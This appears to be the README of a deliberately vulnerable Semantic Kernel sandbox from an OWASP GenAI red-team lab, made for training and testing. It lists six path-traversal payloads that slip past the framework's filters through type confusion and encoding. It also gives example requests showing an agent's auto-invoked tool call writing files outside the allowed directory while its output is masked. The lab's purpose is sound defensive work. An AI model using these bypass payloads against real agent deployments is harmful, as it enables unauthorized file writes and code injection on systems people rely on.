Vulnerable Semantic Kernel Sandbox (v1.48.0)

July 8, 2026 · View on GitHub

A containerized sandbox environment demonstrating 6 active CVE-2026-25592 path traversal bypass techniques via Type Confusion (CWE-843), CWE-1039 AutoInvoke privilege escalation, and Commit fa2d52f6 Shell Blinding evasion in Microsoft Semantic Kernel.

FieldValue
TargetMicrosoft Semantic Kernel v1.47.0 – v1.48.0, Agent Framework 1.0
CVSS v3.110.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
CWE ChainCWE-843 (Type Confusion) → CWE-22 (Path Traversal) → CWE-94 (Code Injection)
Root CauseType confusion: string filters (IFunctionInvocationFilter) validate primitive types, but execution sinks (FilePlugin) accept and deserialize complex object types
Research PaperJDP-2026-001: The Orchestration Trust Gap

Vulnerability Overview

The Trust Gap

Traditional security: User Input → Validation → System Call
Agentic AI security: User Input → LLM → Validation → System Call

The framework treats the LLM as trusted middleware, but the LLM is a non-deterministic, stochastic text generator. When ToolCallBehavior.AutoInvokeKernelFunctions is enabled, the LLM can autonomously generate malicious tool calls that bypass filter validation entirely.

CVE-2026-25592 Remediation Evasion

Microsoft's patch implements a filter that checks if (arg is string s) — a check that fails when arguments are passed as JSON arrays, objects, or encoded strings. The execution sink then deserializes these complex types back into strings, creating a Time-of-Check / Time-of-Use (TOCTOU) mismatch.

Shell Blinding (Commit fa2d52f6)

Microsoft's cosmetic fix masks output paths from the LLM context. The file write still executes on the server — verified Out-of-Band via podman exec.

Microsoft's Incomplete Fixes

Date (2026)EventStatus
April 9Commit fa2d52f6 — Shell Blinding (output masking)VULNERABLE — masks output but does not prevent file write
April 11PR #13683 — AllowedDirectories (Safe Roots)INCOMPLETE — classified as "Breaking Change," remains strictly opt-in, disabled by default
April 21v1.48.0 Stable ReleaseSTILL VULNERABLE — all 6 evasion vectors remain functional

Dual-Mode Operation

The sandbox supports two runtime modes controlled by the LAB_HARDENED environment variable:

ModeLAB_HARDENEDPathSanitizationFilterExpected Behavior
UNHARDENEDNot setNot registeredAll 6 Type Confusion vectors + AutoInvoke succeed
HARDENEDtrueRegistered (checks arg.ToString() for .., /, %2f)Vectors 1, 2, 4, 5 blocked; Vectors 3, 6 (Base64/Hybrid) bypass due to TOCTOU

Quick Start

Prerequisites

Build and Run

cd ~/OWASP/GenAI-Red-Team-Lab/sandboxes/agentic_local_semantickernel

# Build the container
make build

# Start in UNHARDENED mode (default)
make run

# Or start in HARDENED mode
make run-hardened

# Verify the service is up
curl http://localhost:8000/api/health

Expected health response:

{
  "status": "healthy",
  "version": "1.48.0-vulnerable",
  "cve": "CVE-2026-25592-bypassable",
  "hardened": false,
  "allowedDirectoriesSandbox": "disabled"
}

API Endpoints

GET /api/health

Returns sandbox status and version information.

GET /api/plugins

Lists available plugins and their functions.

POST /api/invoke

Direct plugin execution — used for filter bypass testing.

Request:

{
  "plugin": "FileTools",
  "function": "SaveConversation",
  "arguments": {
    "path": ["..", "..", "config.txt"],
    "content": "BYPASS_SUCCESS\n"
  }
}

POST /api/autoinvoke

Simulated LLM autonomous execution — demonstrates CWE-1039 AutoInvoke with Shell Blinding (Commit fa2d52f6).

Request:

{
  "userPrompt": "Write config",
  "toolCall": {
    "plugin": "FileTools",
    "function": "SaveConversation",
    "arguments": {
      "path": "../../config.txt",
      "content": "AUTOINVOKE_LANDED\n"
    }
  }
}

Response (with Shell Blinding active):

{
  "success": true,
  "result": "[REDACTED BY SHELL BLINDING POLICY - fa2d52f6]",
  "executionType": "autonomous",
  "humanApproval": false,
  "vulnerabilityExploited": "AutoInvokeKernelFunctions"
}

The 6 Type Confusion Bypass Vectors

#VectorPayloadWhy It Works
1JSON Array Confusion["..", "..", "config.txt"]is string returns false for JsonElement arrays
2Object Reflection{"path": "../../config.txt"}Reflection extracts path property downstream
3Base64 EncodingLi4vLi4vY29uZmlnLnR4dA==No literal .. or / in encoded string
4URL Encoding..%2f..%2fconfig.txt%2f hides the slash from the filter
5Unicode Homoglyph..⁄..⁄config.txtU+2044 normalizes to / at the OS level
6Hybrid CanonicalizationSafeFolder%2f%2e%2e%2fProgram%2ecsMulti-layer encoding exhausts non-recursive filters

Exploitation

The companion exploitation tools are located in:

exploitation/
├── semantickernel_type_confusion/    # 6 bypass vectors (attack.py)
└── semantickernel_autoinvoke/        # AutoInvoke escalation with OOB verification (attack.py)

Automated Verification

cd ~/OWASP/GenAI-Red-Team-Lab/exploitation/semantickernel
./verify_all.sh

Interactive Trainer

cd ~/OWASP/GenAI-Red-Team-Lab/exploitation/semantickernel
./interactive_trainer.py

Out-of-Band (OOB) Verification

Since Shell Blinding masks output paths from the LLM context, verify payloads landed by reading the filesystem directly:

podman exec sk-vulnerable cat /config.txt
podman exec sk-vulnerable cat /app/config.txt

Container Management

# Stop the container
podman stop sk-vulnerable

# Remove the container
podman rm sk-vulnerable

# Reset the data directory
sudo rm -rf app/data && mkdir -p app/data

# View logs
podman logs sk-vulnerable

References